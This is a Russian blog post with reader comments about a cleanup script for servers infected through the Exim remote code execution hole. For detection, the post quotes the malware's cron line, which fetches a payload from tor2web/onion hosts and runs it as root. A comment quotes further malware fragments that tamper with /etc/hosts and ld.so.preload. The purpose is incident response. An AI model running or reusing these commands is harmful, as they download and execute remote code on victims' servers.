На волне массовых заражений (очень многие наши клиенты используют Exim в качестве почтового сервера) быстренько накидал скрипт для автоматизации решения проблемы. Скрипт далек от идеала и полон неоптимального кода, но это быстрое боевое решение для того, чтоб не выполнять однотипные действия на сотнях или даже тысячах серверов.
Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.
Как понять, что сервер взломан?
Проверьте запущенные процессы командой top.
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.
Секция предупреждений
Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов.
Важно: уязвимость позволяет исполнять код из под root'а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.
Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.
Что делает скрипт?
1. Обновляет Exim, переустанавливает curl.
2. Проверяет наличие заражения на сервере.
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2а. Если в папке /etc есть следы вирусного скрипта, делает следующее
- останавливает cron
- убивает процесс, запущенный вирусным скриптом
- четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
- чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
- разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp
- удаляет эти файлы
- удаляет задание автозапуска в /etc/rc.local
- удаляет ключ злоумышленника из разрешенных ключей ssh
- запускает cron
- и сразу перезагружает сервер
2б. Если следов заражения нет, скрипт завершает работу.
Уточнения
Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.
curl также заражается вирусом, поэтому он переустанавливается.
Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.
Как пользоваться?
Традиционно: перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.
Для запуска скрипта:
Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.
В терминале введите команду:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Ожидайте завершения выполнения скрипта и перезагрузки сервера.
После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.
Ну и напоследок
По сути, скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости.
Все рекомендации по доработке/переработке скрипта приветствуются. Если вы столкнулись с другим симптомом заражения — покажите его, пожалуйста. Кооперация в моменты массовых заражений значительно снижает время, нужное на устранение этих заражений.
Удачи!
UPD1: Добавил на github.
Залил туда же исходник скрипта малвари, который удалось вытащить с зараженного сервера.
UPD2: для Centos 6 пришел релиз 4.92 в EPEL, теперь во всех версиях скрипта ставится из основных репозиториев. Изначально скрипт качал 4.92 для Centos 6 из EPEL/testing.
Комментарии (25)
borisovEvg
10.06.2019 22:34Можете на гитхабе скрипт разместить?
bananaseverywhere Автор
10.06.2019 22:38
bobrabobr
10.06.2019 23:03Кирилл, большое Вам спасибо за скрипт, после ребута симптомов пока больше не видать.
Можно спокойно заниматься переездом на свежую установку — согласен с Вами что так надёжнее…
mc2
11.06.2019 00:18symbix
11.06.2019 03:50Запускать рутом скрипт, не читая его, да еще и скачанный по http? Отличная идея!
androidovshchik
11.06.2019 16:33Причем тут рут? вы не можете от пользователя запустить? Если только не будет хватать прав. Да и лучше все равно смотреть так-то да
maxzhurkin
12.06.2019 08:02Странные у вас шутки: как может скрипт, запущенный с правами рядового пользователя победить зловред, имеющий права root?
androidovshchik
12.06.2019 14:45В идеале на vps лучше по возможности все делать с правами пользователя и использовать рут для особых случаев только. Естественно скрипты проверять. Это хотел сказать
maxzhurkin
12.06.2019 16:56Шестой абзац статьи сразу всё портит в ваших логических построениях: ВСЕ действия, совершаемые скриптом, требуют прав root. Вы, видимо, вообще не ту статью комментировали
bobrabobr
13.06.2019 21:26Вот к слову о птичках, если не видели на днях пост про запуск без проверки (и распространение без оценки) — рекомендую!
https://habr.com/ru/company/flant/blog/454700/
VanZan
11.06.2019 06:35Озвучу то, что не было упомянуто в статье, либо не проверяется лечащим скриптом.
Вирус меняет значение на «yes» для следующих параметров в конфиге SSH (/etc/ssh/sshd_config):
PermitRootLogin yes RSAAuthentication yes PubkeyAuthentication yes UsePAM yes PasswordAuthentication yes
Если параметр до этого отсутствовал или был закомментирован, то он дописывается в конец конфига.
Не понимая, зачем эти параметры нужны, лучше ничего не трогать, т.к. можете потерять доступ к SSH.
Кроме того вирус выключает SELINUX путём модификации /etc/selinux/config меняя значение с enforcing на disabled.
В процессе вирус может установить, обновить или переустановить следующие пакеты:
openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie
Вирус может создать следующие файлы:
/etc/ld.so.preload /tmp/.ld.so
Кроме того, стоит проверить содержимое файла /etc/hosts на предмет наличия доменов с подстроками «onion» и «busybox»bananaseverywhere Автор
11.06.2019 06:49Спасибо за дополнение!
Я параметры SELinux и sshd скриптом не трогал — настройки SELinux и ssh у всех разные, выше шанс выстрелить себе в колено.
Что касается hosts, то судя по коду исходного скрипта малвари — он из hosts строки с busybox и .onion вырезает:
[ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; } [ $(${sudo} cat /etc/hosts|grep -i "busybox"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/busybox$/d' /etc/hosts >/dev/null 2>&1; } [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }
Что касается /etc/ld.so.preload и /tmp/.ld.so, исходный скрипт удаляет первый и делает его симлинкой на второй:
if [ -f /etc/ld.so.preload ]; then if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi ${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1 >/tmp/.ld.so >/dev/null 2>&1 ${sudo} rm -rf /etc/ld.so.preload* >/dev/null 2>&1
Я не стал удалять /tmp/.ld.so в теле скрипта, так как он всё равно удалится при перезагрузке — создан в /tmp. А перезагружаться обязательно надо — малварь сидит где-то в открытых процессах и, соответственно, в памяти, и записывает себя по новой в крон каждые секунд 30.
Sleuthhound
11.06.2019 22:16Т.к. малварь может меняться, а она скорее всего будет меняться, т.к. те кто ее написали тоже читают статьи в Интернет и возможно уже прочитали эту статью. Поэтому самое логичное и правильное в ситуации с заражением — это отключить сервер от Интернет, загрузиться с linux livecd, вытянуть свои данные (сайты, бд и прочее) и отправить сервер под снос. Потом тщательно проверить все что слил с него и залить на новый сервер.
bananaseverywhere Автор
14.06.2019 13:27+1Я двумя руками за перенос на чистую ОС с тщательной ручной проверкой всего, что могли заразить, но делать это с зараженного сервера, у которого 100% CPU выедает майнер — сомнительное удовольствие. Скрипт позволяет привести сервер в околорабочее состояние и вычистить очевидную малварь, чтобы потом уже перетащить данные и не рвать на себе волосы от страшного даунтайма.
scruff
12.06.2019 05:52Осталось написать скрипт по upgrade-у сервера до более новой версии, чтобы без бессонных ночей, танцев с бубном и разговоров с начальством.
bobrabobr
12.06.2019 12:16Обновление нужно только exim до патченной версии (или 4.92), это делается одной строчкой (не забудьте перезапуск процессов или ребут).
Обновление же всего сервера тут не при делах — хоть неделю без сна проведите, вряд ли это что-то добавит. И убрать уже проникшую и спрятавшуюся малварь (если такая есть) не поможет.
Только чистая установка.scruff
14.06.2019 07:51Также интересен механизм атаки — через что проникает зловред. Ведь во вне сервак вроде как опубликован только почтовыми портами (smtp/pop3/imap) и https для вэбконсоли. не так ли?
bobrabobr
14.06.2019 07:55+1Веб тут не при делах, и без веба ломается. Уязвимость почтового сервера exim, подробности опубликованы в оригинальном отчёте (на англ.)
Вкратце — шлют письмо на специально составленный адрес на Вашем домене. Собственно, в некоторых случаях этого уже достаточно.
Если нет — недельку держат коннект открытым, каждые 4 минуты кидая по байту во избежание таймаута. Нужно чтобы 2-дневный лимит недоставленных писем обойти. Все детали в отчёте, все периоды — для конфига по умолчанию.
А далее — всё, RCE (удаленное выполнение команд), причём от рута. Там уже делают что им захочется.
jok40
13.06.2019 15:13Если первым пунктом Вы обновляете Exim, то почему потом приходится очищать очередь от писем с эксплойтом?
bobrabobr
13.06.2019 21:31Вот кстати интересно Вы подметили… обновлённую-то версию гадость из очереди уже не должна зацепить. Т.е. чисто логически это по идее лишний шаг. Любопытное наблюдение!
bananaseverywhere Автор
14.06.2019 13:30+1Честно говоря, да, немного избыточно. Этот шаг должен покрывать довольно маловероятный случай, когда подключены репозитории без патченной версии\Exim ставится не из родных реп и шаги с обновлением, по факту, ничего не обновили.
Отчасти из-за этого же я не стал зашивать killswitch по версии Exim — «лучше перестраховаться».
mxms
Да, но только в текущей версии 4.92 вышедшей аж в феврале с.г. этой уязвимости нет, как нет её и в собранных без функции events пакетах.
Очередной привет любителям древнего софта, одним словом.